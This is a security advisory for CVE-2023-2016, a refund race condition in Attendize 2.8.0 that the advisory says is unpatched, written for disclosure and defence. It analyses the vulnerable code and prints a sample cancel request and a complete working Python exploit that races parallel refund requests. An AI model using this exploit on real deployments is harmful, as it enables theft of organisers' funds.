(CVE-2023-2016) Attendize <= 2.8.0 Authenticated TOCTOU Allows Multiple Refunds Per Order

Summary:

Product Attendize
Vendor Attendize
Severity Medium - Adversaries may exploit software vulnerabilities to achieve monetary gains.
Affected Versions <= 2.8.0
Tested Version(s) 2.8.0
CVE Identifier CVE-2023-2016
CVE Description Time-of-check Time-of-use (TOCTOU) in Cancellation in Attendize 2.8.0 allows adversaries to obtain multiple refunds for a single order.
CWE Classification(s) CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition
CAPEC Classification(s) CAPEC-29 - Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CVSS3.1 Scoring System:

Base Score: 6.5 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) None
Integrity (I) High
Availability (A) None

Product Overview:

Attendize is an open-source ticketing and event management application built using the Laravel PHP framework. Attendize allows event organisers to sell tickets to their events and manage attendees without paying service fees to third party ticketing companies. Organisers are able to create Events, as well as Tickets for accessing them. Anyone from the public is then able to purchase the tickets when they are published by the Organisers.

Vulnerability Summary:

⚠ This is an unpatched vulnerability and there is no official fix released by the maintainers since disclosing this vulnerability to them.

There is a post-authenticated Time-of-check Time-of-use (TOCTOU) vulnerability when cancelling orders and issuing refunds. This means that adversaries with access to the orders page are able to obtain excess money from the Organiser’s funds by sending multiple order cancellation requests in quick succession, resulting in net negative funds for the Organiser.

Vulnerability Details:

The order cancellation and refund process is not atomic as there is a window of time between when the current order to be cancelled is checked to see if a refund has already been issued, and when the refund process happens. This creates a race condition whereby more money can be refunded than intended.

The vulnerability can be found in the following code from /app/Cancellation/OrderCancellation.php:

// Code snippet presented below is extracted from:
// /app/Cancellation/OrderCancellation.php

class OrderCancellation
{
// ...
 public function cancel(): void
    {
        // ...
        if ($this->order->canRefund() && !$orderAwaitingPayment) { // [1]
            $orderRefund = OrderRefund::make($this->order, $this->attendees); // [2]
            $orderRefund->refund(); // [3]
            $this->orderRefund = $orderRefund;
        }
    }
    // ...
}

At [1], the canRefund() function checks if the payment method support refunds. At [2], an OrderRefund object is instantiated via its make() function. It is at this stage that the order is checked to see if a refund is already made. Finally, at [3] the refund() function is invoked which triggers the refund process.

The following source shows how OrderRefund::make() function is handled:

// Code snippet presented below is extracted from:
// /app/Cancellation/OrderRefund.php

class OrderRefund extends OrderRefundAbstract
{
    public function __construct($order, $attendees)
    {
        $this->order = $order;
        $this->attendees = $attendees;
        // We need to set the refund starting amounts first
        $this->setRefundAmounts();
        // Then we need to check for a valid refund state before we can continue
        $this->checkValidRefundState(); // [4]
        // ...
    }

    public static function make($order, $attendees)
    {
        return new static($order, $attendees);
    }

    // ...
}

At [4], the checkValidRefundState() function is invoked to check if a refund is already made:

// Code snippet presented below is extracted from:
// /app/Cancellation/OrderRefund.php

private function checkValidRefundState()
{
    $errorMessage = false;
    if (!$this->order->transaction_id) {
        $errorMessage = trans("Controllers.order_cant_be_refunded");
    }
    if ($this->order->is_refunded) { // [5]
        $errorMessage = trans('Controllers.order_already_refunded');
    }
    // ...
    if ($errorMessage) {
        throw new OrderRefundException($errorMessage);
    }
}

At [5], a check is made to see if the is_refunded property is set to true. If it is not set, the function continues and returns without any error.

Finally, the refund() function can be seen below, which is invoked after the above check (from [3]). It also sets the is_refunded property to true once it completes its execution:

// Code snippet presented below is extracted from:
// /app/Cancellation/OrderRefund.php

public function refund()
{
    try {
        $response = $this->sendRefundRequest();
    } catch (\Exception $e) {
        Log::error($e->getMessage());
        throw new OrderRefundException(trans("Controllers.refund_exception"));
    }
    if ($response['successful']) { // Successful is a Boolean
        // New refunded amount needs to be saved on the order
        $updatedRefundedAmount = $this->refundedAmount->add($this->refundAmount);
        // Update the amount refunded on the order
        $this->order->amount_refunded = $updatedRefundedAmount->toFloat();
        if ($this->organiserAmount->subtract($updatedRefundedAmount)->isZero()) {
            $this->order->is_refunded = true; // [6]

As seen above, the function immediately processes a refund to the original payment mode and then sets the is_refunded property to true once it completes.

Since there is a window of delay from when the cancelled order is checked to see if it has already been refunded (during OrderRefund object instantiation at [2]) and when the refund is actually sent (invoking refund() at [3]), a stream of refund requests that are sent to the server in quick succession would cause this TOCTOU vulnerability to be exploited, causing a net loss of funds for the target Organiser:

POST /event/order/26/cancel HTTP/1.1
Host: 192.168.126.131:8080
Content-Length: 66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlBIZEg1cE1hWExYN2VvY0RSUGVRcXc9PSIsInZhbHVlIjoibDB1WEFtampOZVE2cEd3bjVXbW5WQXRwV1huQ01nMlF5SXhNOUd0U2NhblErcUlNZVIyMFVaeVc1MFJwK0Zjck1mNnpDcGN3Nno1NU9qMEk4UE5hWnFSa09HR1BmN1wvQU13MVpHd3NKS3JaRHhGRGZncnJUSkQwd3RKTk9qS1wvMkZQQnF4dk9cLzVUTlA3aWltXC9MQmg0elRPdVpGUmFsVG9UYmo0cExwY04zWT0iLCJtYWMiOiI4YTdjNGQyYjM2NmRmN2M1MGRhMTY2YzRhZjI1ODVlOTZhMjYxMjRhMDhkOWEyMTMxM2U5N2QxODc3NDQxYjQ0In0%3D; XSRF-TOKEN=eyJpdiI6ImJ5TUlKOGh0Z1g2TkdZZDBSMk5DY0E9PSIsInZhbHVlIjoieEl6ZXN1NEZlNmpEenVBeVNSaHZlUFJrUXVuNzFUcnZcL3ZWOEZMQ2tBK2w2a2xcLzV1U1NwczZTSzZGZ1NCdzhtIiwibWFjIjoiNzFlMDkyMzc2MjY1MTM1OTkzMzgxZTkyYzdkMTNhNTg4NTM3NzhjODVlNTM0NzUwMzZkMDI5OTBkZDZiOWJkOSJ9; attendize_session=eyJpdiI6ImU1WVRaUFVqMmJHV09GcXN3Y2luSnc9PSIsInZhbHVlIjoiVFNkdTBLMEprU041TjMyS2x5NzRtajlDMXh0U016VUx5N3lxODBQWVhPZDNvMVB4TmZWRXhZUzQ2cVRkWFN4UCIsIm1hYyI6IjYxNzk1NzE0NjFkN2Y3NWJkNTYxMGQ4M2ZkMDlkZjIxZjVmNDhiYWQwMTkxYTdjNWNkNGQwN2E5ZjI5ZGQwMTUifQ%3D%3D

_token=79ZAulT8lpgI1tja3U8bMSXhTIHKfgluwmgd3Ya7&attendees%5B%5D=29

Exploit Conditions:

This vulnerability can be exploited when the attacker has any valid set of credentials with access to the Order’s page.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this TOCTOU vulnerability.

# Attendize v2.8.0 Authenticated TOCTOU in Issuing Refunds (CVE-2023-2016)
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import json
import multiprocessing
import re
import requests
import sys
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, urlcomponents, event_id

    print("\n===== Attendize v2.8.0 Authenticated TOCTOU in Issuing Refunds (CVE-2023-2016) =====\n")

    if len(sys.argv) != 4:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL/TO_EVENTS_PAGE USERNAME PASSWORD".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    urlcomponents = urlparse(target)
    event_id = urlcomponents.path.split("/",3)[2]
    username = sys.argv[2]
    password = sys.argv[3]

def authenticate():
    global s, token, headers

    print("[+] Attempting to authenticate...")
    headers = {
        "X-Requested-With": "XMLHttpRequest"
    }

    # Get token
    path = f"{urlcomponents.scheme}://{urlcomponents.netloc}/login"
    res = s.get(path, verify=False)
    token = re.findall("<meta name=\"_token\" content=\"(.+)\"", res.text)[0]
    data = {
        "_token": token,
        "email": username,
        "password": password
    }

    # Perform login
    res = s.post(path, data=data, verify=False)
    if res.status_code != 200:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)
    print("[+] Authenticated successfully!")

def checkout():
    global order_id

    print("[+] Purchasing one ticket first...")
    
    # Check if event is valid: GET /e/{event_id}/<EVENT_NAME>
    res = s.get(target)
    if res.status_code != 200:
        print("[!] Failed to get event, is the supplied URL correct?")
        sys.exit(1)

    # Get ticket id
    ticket_id = re.findall("<input name=\"tickets\[\]\" type=\"hidden\" value=\"(.+)\"", res.text)[0]

    # Step 1: POST /e/{event_id}/checkout
    checkout_path = "/".join(urlcomponents.path.split("/", 3)[:3]) + "/checkout"
    path = f"{urlcomponents.scheme}://{urlcomponents.netloc}{checkout_path}"
    data = {
        "_token": token,
        "tickets[]": ticket_id,
        f"ticket_{ticket_id}": 1
    }
    res = s.post(path, data=data, headers=headers, verify=False)
    if json.loads(res.text)['status'] != 'success':
        print('[!] Failed at /checkout when attempting to purchase a ticket!')
        sys.exit(1)

    # Step 2: POST /e/{event_id}/checkout/validate
    data = {
        "_token": token,
        "event_id": event_id,
        "order_first_name": "a",
        "order_last_name": "a",
        "order_email": "a@b.com",
        f"ticket_holder_first_name[0][{ticket_id}]": "a",
        f"ticket_holder_last_name[0][{ticket_id}]": "a",
        f"ticket_holder_email[0][{ticket_id}]": "a@b.com"
    }
    res = s.post(f"{path}/validate", data=data, headers=headers, verify=False)
    if json.loads(res.text)['status'] != 'success':
        print('[!] Failed at /validate when attempting to purchase a ticket!')
        sys.exit(1)

    # Step 3: POST /e/{event_id}/checkout/create
    data = {
        "_token": token,
        "card-expiry-month": 1,
        "card-expiry-year": 3000
    }
    res = s.post(f"{path}/create", data=data, headers=headers, verify=False)
    json_res = json.loads(res.text)
    if json_res['status'] != 'success':
        print('[!] Failed at /create when attempting to purchase a ticket!')
        sys.exit(1)
    order_id = urlparse(json_res['redirectUrl']).path.split("/order/")[1]
    print(f"[+] Ticket purchased succesfully! Order ID: {order_id}")

def refund():
    global attendee_id

    print("[+] Locating the order...")
    # Get order index from the orders page: GET /event/{event_id}/orders
    urlcomponents = urlparse(target)
    path = f"{urlcomponents.scheme}://{urlcomponents.netloc}/event/{event_id}/orders"
    res = s.get(path, verify=False)
    order_idx = re.findall(f"/order/(.+)\" title=\"View Order #{order_id}", res.text)[0]
    print(f"[+] Order Index: {order_idx}")

    print("[+] Finding Attendee ID...")
    # Get attendee_id from the order: GET /event/order/{order_idx}/cancel
    path = f"{urlcomponents.scheme}://{urlcomponents.netloc}/event/order/{order_idx}/cancel"
    res = s.get(path, verify=False)
    attendee_id = re.findall("name=\"attendees\[\]\" type=\"checkbox\" value=\"(.+)\"", res.text)[0]
    print(f"[+] Attendee ID: {attendee_id}")

    # Race the refund process: POST /event/order/{order_idx}/cancel
    urls = [path]*10
    print("[+] Outcomes of each refund request sent:")
    with multiprocessing.Pool(processes=5) as pool:
        try:
            pool.map(multi_req, urls)
        except:
            None

def multi_req(path):
    data = {
        "_token": token,
        "attendees[]": attendee_id
    }
    res = s.post(path, data=data, verify=False)
    json_res = json.loads(res.text)
    print(f"  [+] {json_res['status']}")

def main():
    check_args()
    authenticate()
    checkout()
    refund()

if __name__ == "__main__":
    main()

Running the exploit will result in the following (may have to be executed multiple times until the output contains multiple “success” messages):

Suggested Mitigations:

Note: Since there is no official patch for this vulnerability, and the maintainers might have stopped support for this application, we recommend the use of alternative applications in order to prevent exploitations of this vulnerability.

Ensure that highly sensitive functions (e.g. monetary transactions) are written with atomic code. This would prevent any occurrences of TOCTOU vulnerabilities due to the race window being removed.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all POST requests made to /event/order/{order_idx}/cancel, and checking that if there are multiple repeated requests, that their timestamps are not marginally different.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-04-27 Reported Vulnerability to Vendor
  • No response between these dates, maintainers appears to stop supporting the repository
  • 2023-08-28 Public Release